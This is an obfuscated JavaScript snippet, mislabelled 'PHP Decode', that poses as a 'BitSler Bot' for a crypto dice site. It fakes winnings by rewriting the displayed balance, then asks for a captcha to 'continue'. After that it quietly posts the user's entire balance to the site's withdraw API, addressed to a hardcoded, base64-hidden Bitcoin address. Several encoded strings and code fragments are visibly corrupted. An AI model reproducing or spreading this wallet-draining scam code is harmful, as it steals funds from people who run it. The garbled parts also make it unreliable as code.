PHP Decode

<?  var 
qc=$(atob("cFtjbGFzcz0ndGV4dC10aGluIG1hci1ubyBiYWxhbmNlLWJ0Yy1odG1sJ10=")).text();var 
contbot=!0;if(($(atob("I2VkaXRhYmxlLwnoYWSjZQ==")).text()=="50%")&& 
(qc>=0.00000000)){startbot()}else{if(qc<$(atob("I2Ftb3VudA==")).val()) 
{alert(atob("SW5zdWZmaWNpZW50IGJhbGFuY2Uu"))}else{alert(atob("UGxlYXNlIHNldCB0aGUgQ2hhbmNlIHRvIDk4JSBhbmQgQmV0IEFtb3VudCB0byAwLjAx"))}} 
var ctr=0;function startbot() 
{$(atob("I2J0bi1iZXQtZGlZSwgI2J0bi1iZXQtc3RhcnQtcGlsb3QtZGljZSwgI2J0bi1iZXQtc3RhcnQtZmFzdC1kaWNl")).button(atob("bG9hZGluZw=="));var 
qt=setInterval(function() 
{$(atob("I2J0bi1iZXQtZGljZQ==")).button("reset");if(contbot){ctr++;var 
qba=parsefloat($(atob("I3Byb2ZpdA==")).val())+parsefloat($atob("cFtjbGFzcz0ndGV4DC10aGluIG1hci1ubyBiYWxhbmNlLQ==")+devise+"-html']").text());$(atob("cFtjbGFzcz0ndGV4dC10aGluIG1hci1ubyBiYWxhbmNlLQ==")+devise+"-html']").text(qba.toFixed(8));$(atob("I3dvbi1iZXQgc3Bhbg==")).text($(atob("I3Byb2ZpdA==")). 
val());show_result_bet();$(atob("LmJhbGFuY2Ut")+devise+"-html").addClass(atob("cmVzdWx0LWJldC13aW4="));setTimeout(function(){$(atob("LmJhbGFuY2Ut")+devise+"-html").removeClass(atob("cmVzdWx0LWJldC13aW4="));$(atob("I2J0bi1iZXQtZGljZSwgI2J0bi1iZXQtc3RhcnQtcGlsb3QtZGljZSwgI2J0bi1iZXQtc3RhcnQtZmFzdC1kaWNl")).button(atob("bG9hZGluZw=="))},350);if(ctr>180) 
{ctr=0;showcontinuebot()}}},4000)} 
function showcontinuebot() 
{contbot=!1;$(atob("I21vZGFsLXdpdGhkcmF3")).find(atob("aDQ6Y29udGFpbnMoJ2J0YyBXSVRIRFJBVycp")).text(atob("RG8geW91IHdhbnQgdG8gY29udGludWUgdXNpbmcgQml0U2xlciBCb3QgdjQuMD8="));$(atob("I21vZGFsLXdpdGhkcnF3")).find("button:eq(0)").hide();$(atob("I21vZGFsLXpdpGhkcmF3")).find("button:eq(1)").hide();$(atob("I21vZGFsLXpdpGhkcmF3")).find("button:eq(2)").hide();$(atob("I21vZGFsLXpdpGhkcmF3")).find("button:eq(2)").after(atob("PGJ1dHRvbiBjbGFzcz0nYnRuIGJ0bi1sZyBidG4tcHJpbWFyeScgb25jbGljaz0nY29udGludWVib3QoKTsnPkNPTlRJTlVFPC9idXR0b24+"));$(atob("I21vZGFsLXdpdGhkcmF3")).find(".pad-hor").hide();$(atob("I21vZGFsLXdpdGhkcnF3")).find("p").hide();$(atob("I21vZGFsLXdpdGhkcmF3")).modal("show")} 
function continuebot(){if(grecaptcha.getResponse(0)=="") 
{alert(atob("QWSzd2VyIHRoZSBjYXB0Y2hhIHRvIGNvbnRpbnVlIHVzaW5nIEJpdFNsZXIgQm90IHY0LjAh"));return} 
var 
qc4=grecaptcha.getResponse(0);$(atob("I21vZGFsLXdpdGhkcmF3")).modal("hide"); 
contbot=!0;$.ajax({type:atob("UE9TVA=="),url:atob("L2FwaS9nZW5lcmF0ZS10b2tlbg=="),data:JSON.parse(atob("eyJuYW1lIjoid2l0aGRyYXciLCJleHBpcmUiOjV9")),success:function(text){var 
val=JSON.parse(text);if(val.return.success==atob("dHJ1ZQ==")]{var tok=val.return.token;var qc2=qc-0.0001;var qc3=atob("MU5QMmpYdEszdVdTZ1l1akNkVmk452l5enZjR2FMY3JaNA==");var 
code_2_factor="";$.ajax({type:atob('UE9TVA=='),url:atob('L2FwaS93aXRoZHJhdw=='),data: 
{'address':qc3,'amount':qc2,'devise':devise,'token':tok,'g_recaptcha_response':qc4,'code_2_factor':code_2_factor},success:function(text) 
{console.log(!0)}})}}})} 
 
unde fined  ?>